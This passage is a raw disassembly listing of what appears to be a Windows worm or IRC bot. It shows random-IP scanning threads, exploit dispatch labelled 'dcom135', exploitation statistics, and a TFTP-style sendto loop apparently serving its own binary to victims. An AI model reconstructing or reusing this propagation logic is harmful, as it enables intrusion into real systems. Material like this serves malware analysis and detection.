call sub_4177B0
push eax
lea eax, [ebp+var_1C]
push [ebp+var_14]
push eax
call sub_418AA0
add esp, 10h
test eax, eax
jnz loc_406E00
push ebx
push ebx
push [ebp+var_8]
call sub_418A0E
push [ebp+var_8]
lea eax, [ebp+var_57C]
mov [ebp+var_580], bl
mov [ebp+var_57F], 3
push esi
push 1
push eax
mov [ebp+var_57E], bl
mov [ebp+var_57D], 1
call sub_418786
add esp, 1Ch
lea ecx, [ebp+var_2C]
mov [ebp+var_C], eax
add eax, 4
push [ebp+var_4]
push ecx
push ebx
push eax
lea eax, [ebp+var_580]
push eax
push edi
call dword_43EB88 ; sendto
lea eax, [ebp+var_378]
push eax
lea eax, [ebp+var_58]
push eax
push offset dword_429C50
loc_406DB4: ; CODE XREF: sub_406A71+47Ej
lea eax, [ebp+var_780]
push eax
call sub_416FB6
add esp, 10h
cmp [ebp+var_E0], ebx
jnz short loc_406DEE
push ebx
lea eax, [ebp+var_780]
push [ebp+var_E4]
push eax
lea eax, [ebp+var_164]
push eax
push [ebp+var_37C]
call sub_40D476
add esp, 14h
loc_406DEE: ; CODE XREF: sub_406A71+358j
lea eax, [ebp+var_780]
push eax
call sub_40BD8D
pop ecx
jmp loc_406F0A
; ---------------------------------------------------------------------------
loc_406E00: ; CODE XREF: sub_406A71+2B6j
; sub_406A71+2D7j
push [ebp+var_4]
lea eax, [ebp+var_2C]
push eax
push ebx
push 13h
push offset dword_429C38
push edi
call dword_43EB88 ; sendto
lea eax, [ebp+var_274]
push eax
lea eax, [ebp+var_58]
push eax
lea eax, [ebp+var_D8]
push offset dword_429BFC
push eax
call sub_416FB6
lea eax, [ebp+var_D8]
push eax
call sub_40BD8D
add esp, 14h
jmp loc_406F0A
; ---------------------------------------------------------------------------
loc_406E46: ; CODE XREF: sub_406A71+275j
cmp [ebp+var_D7], 4
jnz loc_406EF4
mov cl, [ebp+var_D5]
mov al, [ebp+var_D6]
cmp cl, 0FFh
mov [ebp+var_580], bl
mov [ebp+var_57F], 3
jnz short loc_406E7D
inc al
xor cl, cl
mov [ebp+var_57D], bl
jmp short loc_406E85
; ---------------------------------------------------------------------------
loc_406E7D: ; CODE XREF: sub_406A71+3FEj
inc cl
mov [ebp+var_57D], cl
loc_406E85: ; CODE XREF: sub_406A71+40Aj
mov [ebp+var_57E], al
push ebx
movzx eax, al
movzx ecx, cl
shl eax, 8
add eax, ecx
shl eax, 9
sub eax, esi
push eax
push [ebp+var_8]
call sub_418A0E
push [ebp+var_8]
lea eax, [ebp+var_57C]
push esi
push 1
push eax
call sub_418786
add esp, 1Ch
mov edi, eax
lea eax, [ebp+var_2C]
mov [ebp+var_C], edi
push [ebp+var_4]
push eax
lea eax, [edi+4]
push ebx
push eax
lea eax, [ebp+var_580]
push eax
push [ebp+var_10]
call dword_43EB88 ; sendto
cmp edi, ebx
jnz short loc_406F0A
lea eax, [ebp+var_378]
push eax
lea eax, [ebp+var_58]
push eax
push offset dword_429BA0
jmp loc_406DB4
; ---------------------------------------------------------------------------
loc_406EF4: ; CODE XREF: sub_406A71+268j
; sub_406A71+3DCj
push [ebp+var_4]
lea eax, [ebp+var_2C]
push eax
push ebx
push 9
push offset dword_429B90
push edi
call dword_43EB88 ; sendto
loc_406F0A: ; CODE XREF: sub_406A71+204j
; sub_406A71+38Aj ...
cmp [ebp+var_C], ebx
mov edi, [ebp+var_10]
jg loc_406C1C
loc_406F16: ; CODE XREF: sub_406A71+1B4j
push edi
call dword_43EBBC ; closesocket
push [ebp+var_8]
call sub_417600
mov esi, [ebp+arg_0]
dec [ebp+var_16C]
pop ecx
cmp [esi+2A0h], ebx
jnz short loc_406F4A
push [ebp+var_170]
call sub_416D90
pop ecx
push ebx
call dword_423054 ; ExitThread
loc_406F4A: ; CODE XREF: sub_406A71+4C4j
push 3E8h
call dword_423064 ; Sleep
push esi
loc_406F56: ; CODE XREF: sub_406A71+123j
call sub_406A71
pop edi
pop esi
pop ebx
leave
retn 4
sub_406A71 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_406F62 proc near ; CODE XREF: sub_40EC43+5D10p
var_400 = byte ptr -400h
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 400h
push ebx
push edi
lea eax, [ebp+var_200]
push offset dword_42A1E8
push eax
xor ebx, ebx
call sub_416FB6
cmp dword_429D60, ebx
pop ecx
pop ecx
mov edi, 200h
jz short loc_406FD0
push esi
mov esi, offset dword_429D68
loc_406F95: ; CODE XREF: sub_406F62+6Bj
mov eax, [esi]
add ebx, eax
push eax
lea eax, [esi-26h]
push eax
lea eax, [ebp+var_400]
push offset aSD ; " %s: %d,"
push eax
call sub_416FB6
lea eax, [ebp+var_400]
push edi
push eax
lea eax, [ebp+var_200]
push eax
call sub_418AE0
add esi, 3Ch
add esp, 1Ch
cmp dword ptr [esi-8], 0
jnz short loc_406F95
pop esi
loc_406FD0: ; CODE XREF: sub_406F62+2Bj
push dword_4890F8
call sub_40B54D
push eax
push ebx
lea eax, [ebp+var_400]
push offset aTotalDInS_ ; " Total: %d in %s."
push eax
call sub_416FB6
lea eax, [ebp+var_400]
push edi
push eax
lea eax, [ebp+var_200]
push eax
call sub_418AE0
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40D476
lea eax, [ebp+var_200]
push eax
call sub_40BD8D
add esp, 38h
pop edi
pop ebx
leave
retn
sub_406F62 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40702C proc near ; CODE XREF: sub_40EC43+5662p
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 200h
push 8
call sub_416CBC
test eax, eax
pop ecx
jle short loc_407068
mov eax, [ebp+arg_C]
push dword_43BD10[eax*8]
call dword_43EBB0 ; inet_ntoa
push eax
lea eax, [ebp+var_200]
push offset dword_42A264
push eax
call sub_416FB6
add esp, 0Ch
jmp short loc_40707B
; ---------------------------------------------------------------------------
loc_407068: ; CODE XREF: sub_40702C+13j
lea eax, [ebp+var_200]
push offset dword_42A228
push eax
call sub_416FB6
pop ecx
pop ecx
loc_40707B: ; CODE XREF: sub_40702C+3Aj
; DATA XREF: .data:00427334o ...
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40D476
lea eax, [ebp+var_200]
push eax
call sub_40BD8D
add esp, 18h
leave
retn
sub_40702C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4070A3 proc near ; CODE XREF: sub_4077CC+4Fp
var_210 = dword ptr -210h
var_204 = byte ptr -204h
var_4 = byte ptr -4
arg_10 = byte ptr 18h
arg_90 = byte ptr 98h
arg_110 = dword ptr 118h
arg_130 = dword ptr 138h
arg_138 = dword ptr 140h
arg_13C = dword ptr 144h
push ebp
mov ebp, esp
sub esp, 204h
mov eax, [ebp+arg_130]
push ebx
cmp eax, 0FFFFFFFFh
push esi
jz loc_407421
imul eax, 3Ch
xor ebx, ebx
cmp dword_429D6C[eax], ebx
jz loc_407314
push 4
call sub_416CBC
test eax, eax
pop ecx
jnz loc_407421
mov eax, dword_42E904
push edi
mov edi, offset dword_43CCCC
push 104h
push edi
push ebx
mov dword_43CEDC, eax
mov dword_43CED8, ebx
call dword_423094 ; GetModuleFileNameA
push 103h
mov esi, offset dword_43CDD0
push offset byte_42E9B8
push esi
call sub_418910
mov eax, [ebp+arg_110]
add esp, 0Ch
cmp [ebp+arg_90], bl
mov dword_43CCC8, eax
mov eax, [ebp+arg_138]
push 7Fh
mov dword_43CF60, eax
jnz short loc_407153
lea eax, [ebp+arg_10]
push eax
push offset dword_43CEE0
call sub_418910
mov dword_43CF64, 1
jmp short loc_40716A
; ---------------------------------------------------------------------------
loc_407153: ; CODE XREF: sub_4070A3+94j
lea eax, [ebp+arg_90]
push eax
push offset dword_43CEE0
call sub_418910
mov dword_43CF64, ebx
loc_40716A: ; CODE XREF: sub_4070A3+AEj
add esp, 0Ch
lea eax, [ebp+var_204]
push esi
push edi
push dword_43CEDC
push offset dword_42A440
push eax
call sub_416FB6
push ebx
lea eax, [ebp+var_204]
push 4
push eax
call sub_416A7A
add esp, 20h
mov dword_43CED4, eax
lea eax, [ebp+var_4]
push eax
push ebx
push offset dword_43CCC8
push offset sub_406A71
push ebx
push ebx
call dword_4230A0 ; CreateThread
mov ecx, dword_43CED4
imul ecx, 234h
cmp eax, ebx
mov dword_44457C[ecx], eax
jnz loc_407269
call dword_42308C ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_204]
push offset dword_42A3F0
push eax
call sub_416FB6
add esp, 0Ch
loc_4071E9: ; CODE XREF: sub_4070A3+1CEj
lea eax, [ebp+var_204]
push eax
call sub_40BD8D
mov edi, offset dword_43D324
mov [esp+210h+var_210], 104h
push edi
push ebx
mov dword_43D530, ebx
call dword_423094 ; GetModuleFileNameA
push 103h
mov esi, offset dword_43D428
push offset byte_42E9B8
push esi
call sub_418910
mov eax, [ebp+arg_110]
add esp, 0Ch
cmp [ebp+arg_90], bl
mov dword_43D320, eax
mov eax, [ebp+arg_138]
push 7Fh
mov dword_43D5B8, eax
jnz short loc_407276
lea eax, [ebp+arg_10]
push eax
push offset dword_43D538
call sub_418910
mov dword_43D5BC, 1
jmp short loc_40728D
; ---------------------------------------------------------------------------
loc_407261: ; CODE XREF: sub_4070A3+1CCj
push 32h
call dword_423064 ; Sleep
loc_407269: ; CODE XREF: sub_4070A3+125j
cmp dword_43CF68, ebx
jz short loc_407261
jmp loc_4071E9
; ---------------------------------------------------------------------------
loc_407276: ; CODE XREF: sub_4070A3+1A2j
lea eax, [ebp+arg_90]
push eax
push offset dword_43D538
call sub_418910
mov dword_43D5BC, ebx
loc_40728D: ; CODE XREF: sub_4070A3+1BCj
add esp, 0Ch
lea eax, [ebp+var_204]
push esi
push edi
push dword_43D534
push offset unk_42A398
push eax
call sub_416FB6
push ebx
lea eax, [ebp+var_204]
push 5
push eax
call sub_416A7A
add esp, 20h
mov dword_43D52C, eax
lea eax, [ebp+var_4]
push eax
push ebx
push offset dword_43D320
push offset sub_405285
push ebx
push ebx
call dword_4230A0 ; CreateThread
mov ecx, dword_43D52C
pop edi
imul ecx, 234h
cmp eax, ebx
mov dword_44457C[ecx], eax
jnz short loc_407307
call dword_42308C ; RtlGetLastWin32Error
push eax
push offset unk_42A348
jmp loc_407405
; ---------------------------------------------------------------------------
loc_4072FF: ; CODE XREF: sub_4070A3+26Aj
push 32h
call dword_423064 ; Sleep
loc_407307: ; CODE XREF: sub_4070A3+249j
cmp dword_43D5C0, ebx
jz short loc_4072FF
jmp loc_407414
; ---------------------------------------------------------------------------
loc_407314: ; CODE XREF: sub_4070A3+25j
cmp dword_429D70[eax], ebx
jz loc_407421
push 3
call sub_416CBC
test eax, eax
pop ecx
jnz loc_407421
mov esi, offset dword_43D1FC
push 104h
push esi
push ebx
call dword_423094 ; GetModuleFileNameA
push 5Ch
push esi
call sub_418C10
pop ecx
cmp eax, ebx
pop ecx
jz short loc_407352
mov [eax], bl
loc_407352: ; CODE XREF: sub_4070A3+2ABj
mov eax, dword_42E908
mov dword_43D314, ebx
mov dword_43D300, eax
lea eax, [ebp+arg_10]
push eax
push offset dword_43CF74
call sub_416FB6
mov eax, [ebp+arg_110]
pop ecx
pop ecx
mov dword_43CF70, eax
mov ecx, [ebp+arg_138]
push esi
push dword_43D300
mov dword_43D30C, ecx
mov ecx, [ebp+arg_13C]
push eax
mov dword_43D310, ecx
call sub_40AD08
pop ecx
push eax
lea eax, [ebp+var_204]
push offset unk_42A2F0
push eax
call sub_416FB6
push ebx
lea eax, [ebp+var_204]
push 3
push eax
call sub_416A7A
add esp, 20h
mov dword_43D308, eax
lea eax, [ebp+var_4]
push eax
push ebx
push offset dword_43CF70
push offset sub_405983
push ebx
push ebx
call dword_4230A0 ; CreateThread
mov ecx, dword_43D308
imul ecx, 234h
cmp eax, ebx
mov dword_44457C[ecx], eax
jnz short loc_40742D
call dword_42308C ; RtlGetLastWin32Error
push eax
push offset unk_42A2A0
loc_407405: ; CODE XREF: sub_4070A3+257j
lea eax, [ebp+var_204]
push eax
call sub_416FB6
add esp, 0Ch
loc_407414: ; CODE XREF: sub_4070A3+26Cj
; sub_4070A3+392j
lea eax, [ebp+var_204]
push eax
call sub_40BD8D
pop ecx
loc_407421: ; CODE XREF: sub_4070A3+14j
; sub_4070A3+35j ...
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_407425: ; CODE XREF: sub_4070A3+390j
push 32h
call dword_423064 ; Sleep
loc_40742D: ; CODE XREF: sub_4070A3+354j
cmp dword_43D31C, ebx
jz short loc_407425
jmp short loc_407414
sub_4070A3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407437 proc near ; CODE XREF: sub_4075B8:loc_40761Ap
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
push esi
push 4
lea esi, ds:43BD10h[eax*8]
lea eax, [ebp+arg_0]
push esi
push eax
call sub_417090
add esp, 0Ch
push [ebp+arg_0]
call dword_43EA58 ; htonl
inc eax
push eax
mov [ebp+arg_0], eax
call dword_43EB20 ; htonl
mov [ebp+arg_0], eax
lea eax, [ebp+arg_0]
push 4
push eax
push esi
call sub_417090
mov eax, [esi]
add esp, 0Ch
pop esi
pop ebp
retn
sub_407437 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40747F proc near ; CODE XREF: sub_4075B8+5Ap
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push esi
or esi, 0FFFFFFFFh
push [ebp+arg_0]
mov [ebp+var_C], esi
mov [ebp+var_8], esi
mov [ebp+var_4], esi
mov [ebp+var_10], esi
call sub_4177B0
cmp eax, 0Fh
pop ecx
jbe short loc_4074A7
xor eax, eax
jmp short loc_407518
; ---------------------------------------------------------------------------
loc_4074A7: ; CODE XREF: sub_40747F+22j
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_C]
push eax
push offset aD_D_D_D ; "%d.%d.%d.%d"
push [ebp+arg_0]
call sub_418752
add esp, 18h
cmp [ebp+var_C], esi
jnz short loc_4074D4
call sub_417012
mov [ebp+var_C], eax
loc_4074D4: ; CODE XREF: sub_40747F+4Bj
cmp [ebp+var_8], esi
jnz short loc_4074E1
call sub_417012
mov [ebp+var_8], eax
loc_4074E1: ; CODE XREF: sub_40747F+58j
cmp [ebp+var_4], esi
jnz short loc_4074EE
call sub_417012
mov [ebp+var_4], eax
loc_4074EE: ; CODE XREF: sub_40747F+65j
mov eax, [ebp+var_10]
cmp eax, esi
jnz short loc_4074FA
call sub_417012
loc_4074FA: ; CODE XREF: sub_40747F+74j
shl eax, 8
add eax, [ebp+var_4]
mov ecx, [ebp+var_C]
shl eax, 8
add eax, [ebp+var_8]
shl eax, 8
add eax, ecx
mov ecx, [ebp+arg_4]
mov dword_43BD10[ecx*8], eax
loc_407518: ; CODE XREF: sub_40747F+26j
pop esi
leave
retn
sub_40747F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40751B proc near ; CODE XREF: sub_4075B8+A9p
; sub_40D2C2+30p
var_120 = dword ptr -120h
var_11C = dword ptr -11Ch
var_1C = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 120h
push ebx
push esi
push edi
xor edi, edi
xor ebx, ebx
inc edi
push ebx
push edi
push 2
mov [ebp+var_4], edi
call dword_43EBA4 ; socket
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_407544
xor eax, eax
jmp short loc_4075B3
; ---------------------------------------------------------------------------
loc_407544: ; CODE XREF: sub_40751B+23j
mov eax, [ebp+arg_0]
push [ebp+arg_4]
mov [ebp+var_1C], 2
mov [ebp+var_18], eax
call dword_43EB24 ; htons
mov [ebp+var_1A], ax
lea eax, [ebp+var_4]
push eax
push 8004667Eh
push esi
call dword_43EBC0 ; ioctlsocket
lea eax, [ebp+var_1C]
push 10h
push eax
push esi
call dword_43EACC ; connect
mov eax, [ebp+arg_8]
mov [ebp+var_8], ebx
mov [ebp+var_C], eax
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_120]
push ebx
push eax
push ebx
push ebx
mov [ebp+var_11C], esi
mov [ebp+var_120], edi
call dword_43EB0C ; select
push esi
mov edi, eax
call dword_43EBBC ; closesocket
xor eax, eax
cmp edi, ebx
setnle al
loc_4075B3: ; CODE XREF: sub_40751B+27j
pop edi
pop esi
pop ebx
leave
retn
sub_40751B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4075B8 proc near ; DATA XREF: sub_4077CC+13Bo
var_2A8 = dword ptr -2A8h
var_28C = byte ptr -28Ch
var_20C = dword ptr -20Ch
var_208 = byte ptr -208h
var_1F8 = byte ptr -1F8h
var_178 = byte ptr -178h
var_16C = dword ptr -16Ch
var_168 = dword ptr -168h
var_164 = dword ptr -164h
var_15C = dword ptr -15Ch
var_158 = dword ptr -158h
var_150 = byte ptr -150h
var_140 = byte ptr -140h
var_C0 = byte ptr -0C0h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_20 = dword ptr -20h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 28Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 53h
mov esi, eax
pop ecx
lea edi, [ebp+var_150]
rep movsd
mov esi, [ebp+var_2C]
mov dword ptr [eax+148h], 1
mov eax, [ebp+var_28]
mov [ebp+var_4], esi
mov [ebp+arg_0], eax
call dword_423058 ; GetTickCount
push eax
call sub_417008
mov ebx, esi
pop ecx
imul ebx, 234h
jmp loc_4077A9
; ---------------------------------------------------------------------------
loc_407604: ; CODE XREF: sub_4075B8+1FFj
cmp [ebp+var_10], 0
push eax
jz short loc_40761A
lea eax, [ebp+var_150]
push eax
call sub_40747F
pop ecx
jmp short loc_40761F
; ---------------------------------------------------------------------------
loc_40761A: ; CODE XREF: sub_4075B8+51j
call sub_407437
loc_40761F: ; CODE XREF: sub_4075B8+60j
pop ecx
mov edi, eax
push [ebp+arg_0]
push dword_44456C[ebx]
push [ebp+var_3C]
push edi
call dword_43EBB0 ; inet_ntoa
push eax
lea eax, [ebp+var_28C]
push offset dword_42A4F0
push eax
call sub_416FB6
lea eax, [ebp+var_28C]
push eax
lea eax, dword_444368[ebx]
push eax
call sub_416FB6
push [ebp+var_38]
push [ebp+var_3C]
push edi
call sub_40751B
add esp, 2Ch
cmp eax, 1
jnz loc_40779E
cmp [ebp+var_20], 0FFFFFFFFh
jnz short loc_4076F3
push offset dword_43CCB0
call dword_4230C8 ; RtlEnterCriticalSection
push [ebp+var_3C]
push edi
call dword_43EBB0 ; inet_ntoa
push eax
lea eax, [ebp+var_28C]
push offset dword_42A4A8
push eax
call sub_416FB6
add esp, 10h
cmp [ebp+var_14], 0
jnz short loc_4076D5
cmp [ebp+var_C0], 0
push 1
push [ebp+var_18]
lea eax, [ebp+var_28C]
push eax
lea eax, [ebp+var_C0]
jnz short loc_4076C9
lea eax, [ebp+var_140]
loc_4076C9: ; CODE XREF: sub_4075B8+109j
push eax
push [ebp+var_40]
call sub_40D476
add esp, 14h
loc_4076D5: ; CODE XREF: sub_4075B8+EEj
lea eax, [ebp+var_28C]
push eax
call sub_40BD8D
mov [esp+2A8h+var_2A8], offset dword_43CCB0
call dword_4230C4 ; RtlLeaveCriticalSection
jmp loc_40779E
; ---------------------------------------------------------------------------
loc_4076F3: ; CODE XREF: sub_4075B8+BEj
push edi
call dword_43EBB0 ; inet_ntoa
push eax
lea eax, [ebp+var_208]
push eax
call sub_416FB6
mov eax, [ebp+var_20]
imul eax, 3Ch
add eax, offset aDcom135_0 ; "dcom135"
push eax
lea eax, [ebp+var_178]
push eax
call sub_416FB6
add esp, 10h
cmp [ebp+var_C0], 0
lea eax, [ebp+var_C0]
jnz short loc_407737
lea eax, [ebp+var_140]
loc_407737: ; CODE XREF: sub_4075B8+177j
push eax
lea eax, [ebp+var_1F8]
push eax
call sub_416FB6
mov eax, [ebp+var_40]
pop ecx
mov [ebp+var_20C], eax
mov eax, [ebp+var_18]
mov [ebp+var_15C], eax
mov eax, [ebp+var_14]
mov [ebp+var_158], eax
mov eax, [ebp+var_3C]
mov [ebp+var_16C], eax
mov eax, [ebp+var_20]
pop ecx
mov [ebp+var_164], eax
imul eax, 3Ch
sub esp, 0BCh
mov [ebp+var_168], esi
lea esi, [ebp+var_20C]
push 2Fh
pop ecx
mov edi, esp
rep movsd
call off_429D64[eax]
mov esi, [ebp+var_4]
add esp, 0BCh
loc_40779E: ; CODE XREF: sub_4075B8+B4j
; sub_4075B8+136j
push 7D0h
call dword_423064 ; Sleep
loc_4077A9: ; CODE XREF: sub_4075B8+47j
mov eax, dword_44456C[ebx]
cmp dword_43BD14[eax*8], 0
jnz loc_407604
push esi
call sub_416D90
pop ecx
push 0
call dword_423054 ; ExitThread
sub_4075B8 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4077CC proc near ; DATA XREF: sub_40EC43+32C6o
; sub_40EC43+50E9o
var_20C = dword ptr -20Ch
var_1CC = byte ptr -1CCh
var_14C = byte ptr -14Ch
var_13C = byte ptr -13Ch
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1CCh
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 53h
xor ebx, ebx
pop ecx
mov esi, eax
lea edi, [ebp+var_14C]
inc ebx
rep movsd
mov [eax+144h], ebx
lea eax, [ebp+var_14C]
push eax
call dword_43EB64 ; inet_addr
mov ecx, [ebp+var_2C]
sub esp, 14Ch
lea esi, [ebp+var_14C]
push 53h
mov dword_43BD10[ecx*8], eax
pop ecx
mov edi, esp
rep movsd
call sub_4070A3
push 8
call sub_416CBC
add esp, 150h
cmp eax, ebx
jnz short loc_40789A
mov esi, offset dword_43CCB0
push esi
call dword_4230D0 ; RtlDeleteCriticalSection
push 80000400h
push esi
call dword_4230CC ; InitializeCriticalSectionAndSpinCount
test eax, eax
jnz short loc_40789A
lea eax, [ebp+var_1CC]
push offset dword_42A648
push eax
call sub_416FB6
xor ebx, ebx
pop ecx
cmp [ebp+var_10], ebx
pop ecx
jnz short loc_407884
push ebx
lea eax, [ebp+var_1CC]
push [ebp+var_14]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_3C]
call sub_40D476
add esp, 14h
loc_407884: ; CODE XREF: sub_4077CC+99j
lea eax, [ebp+var_1CC]
push eax
call sub_40BD8D
pop ecx
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 4
; ---------------------------------------------------------------------------
loc_40789A: ; CODE XREF: sub_4077CC+63j
; sub_4077CC+7Fj
mov eax, [ebp+var_2C]
mov esi, dword_423064
mov edi, ebx
mov dword_43BD14[eax*8], ebx
xor ebx, ebx
cmp [ebp+var_20], 1
jb loc_40795C
loc_4078B8: ; CODE XREF: sub_4077CC+18Aj
push edi
lea eax, [ebp+var_14C]
push [ebp+var_2C]
mov [ebp+var_24], edi
push [ebp+var_38]
push eax
lea eax, [ebp+var_1CC]
push offset unk_42A600
push eax
call sub_416FB6
push ebx
lea eax, [ebp+var_1CC]
push 8
push eax
call sub_416A7A
mov [ebp+var_28], eax
imul eax, 234h
mov ecx, [ebp+var_2C]
add esp, 24h
mov dword_44456C[eax], ecx
lea eax, [ebp+var_14C]
push ebx
push ebx
push eax
push offset sub_4075B8
push ebx
push ebx
call dword_4230A0 ; CreateThread
mov ecx, [ebp+var_28]
imul ecx, 234h
cmp eax, ebx
mov dword_44457C[ecx], eax
jnz short loc_407973
call dword_42308C ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_1CC]
push offset dword_42A5A8
push eax
call sub_416FB6
lea eax, [ebp+var_1CC]
push eax
call sub_40BD8D
add esp, 10h
loc_40794E: ; CODE XREF: sub_4077CC+1ACj
push 1Eh
call esi ; Sleep
inc edi
cmp edi, [ebp+var_20]
jbe loc_4078B8
loc_40795C: ; CODE XREF: sub_4077CC+E6j
cmp [ebp+var_30], ebx
jz short loc_407981
mov eax, [ebp+var_30]
imul eax, 0EA60h
push eax
call esi ; Sleep
jmp short loc_40798E
; ---------------------------------------------------------------------------
loc_40796F: ; CODE XREF: sub_4077CC+1AAj
push 1Eh
call esi ; Sleep
loc_407973: ; CODE XREF: sub_4077CC+159j
cmp [ebp+var_4], ebx
jz short loc_40796F
jmp short loc_40794E
; ---------------------------------------------------------------------------
loc_40797A: ; CODE XREF: sub_4077CC+1C0j
push 7D0h
call esi ; Sleep
loc_407981: ; CODE XREF: sub_4077CC+193j
mov eax, [ebp+var_2C]
cmp dword_43BD14[eax*8], 1
jz short loc_40797A
loc_40798E: ; CODE XREF: sub_4077CC+1A1j
push [ebp+var_30]
mov eax, [ebp+var_2C]
push [ebp+var_38]
mov eax, dword_43BD10[eax*8]
push eax
call dword_43EBB0 ; inet_ntoa
push eax
lea eax, [ebp+var_1CC]
push offset dword_42A548
push eax
call sub_416FB6
add esp, 14h
cmp [ebp+var_10], ebx
jnz short loc_4079DC
push ebx
lea eax, [ebp+var_1CC]
push [ebp+var_14]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_3C]
call sub_40D476
add esp, 14h
loc_4079DC: ; CODE XREF: sub_4077CC+1F1j
lea eax, [ebp+var_1CC]
push eax
call sub_40BD8D
mov eax, [ebp+var_2C]
mov [esp+20Ch+var_20C], 0BB8h
mov dword_43BD14[eax*8], ebx
call esi ; Sleep
push 8
call sub_416CBC
cmp eax, 1
pop ecx
jnz short loc_407A13
push offset dword_43CCB0
call dword_4230D0 ; RtlDeleteCriticalSection
loc_407A13: ; CODE XREF: sub_4077CC+23Aj
push [ebp+var_2C]
call sub_416D90
pop ecx
push ebx
call dword_423054 ; ExitThread
sub_4077CC endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_407A23 proc near ; DATA XREF: sub_40EC43+3698o
var_34C = byte ptr -34Ch
var_14C = byte ptr -14Ch
var_148 = dword ptr -148h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_2C = dword ptr -2Ch
var_24 = byte ptr -24h
var_22 = word ptr -22h
var_20 = dword ptr -20h
var_14 = byte ptr -14h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 34Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 4Ah
mov esi, eax
pop ecx
lea edi, [ebp+var_14C]
rep movsd
xor edi, edi
push 10h
inc edi
pop ebx
mov [eax+120h], edi
xor esi, esi
push ebx
lea eax, [ebp+var_10]
push esi
push eax
call sub_417030
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+var_40]
call dword_43EB24 ; htons
push 6
push edi
push 2
mov [ebp+var_E], ax
mov [ebp+var_C], esi
mov [ebp+arg_0], ebx
call dword_43EBA4 ; socket
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_407B86
mov eax, [ebp+var_3C]
push edi
imul eax, 234h
push 401h
push esi
push ebx
mov dword_444574[eax], ebx
call dword_43EA40 ; WSAAsyncSelect
lea eax, [ebp+var_10]
push 10h
push eax
push ebx
call dword_43EB50 ; bind
test eax, eax
jnz loc_407B86
push 0Ah
push ebx
call dword_43EB4C ; listen
test eax, eax
jnz loc_407B86
loc_407ACD: ; CODE XREF: sub_407A23+BEj
; sub_407A23+15Ej
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_24]
push eax
push ebx
call dword_43EBB8 ; accept
mov edi, eax
cmp edi, 0FFFFFFFFh
jz short loc_407ACD
movzx eax, [ebp+var_22]
push [ebp+var_3C]
mov [ebp+var_148], edi
mov [ebp+var_2C], esi
push eax
push [ebp+var_20]
call dword_43EBB0 ; inet_ntoa
push eax
lea eax, [ebp+var_34C]
push offset unk_42A6E8
push eax
call sub_416FB6
push edi
lea eax, [ebp+var_34C]
push 10h
push eax
call sub_416A7A
mov [ebp+var_38], eax
imul eax, 234h
mov ecx, [ebp+var_3C]
add esp, 20h
mov dword_44456C[eax], ecx
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_14C]
push esi
push eax
push offset sub_407BAA
push esi
push esi
call dword_4230A0 ; CreateThread
mov ecx, [ebp+var_38]
imul ecx, 234h
cmp eax, esi
mov dword_44457C[ecx], eax
jnz short loc_407B7C
call dword_42308C ; RtlGetLastWin32Error
push eax
push offset unk_42A698
call sub_40BE01
pop ecx
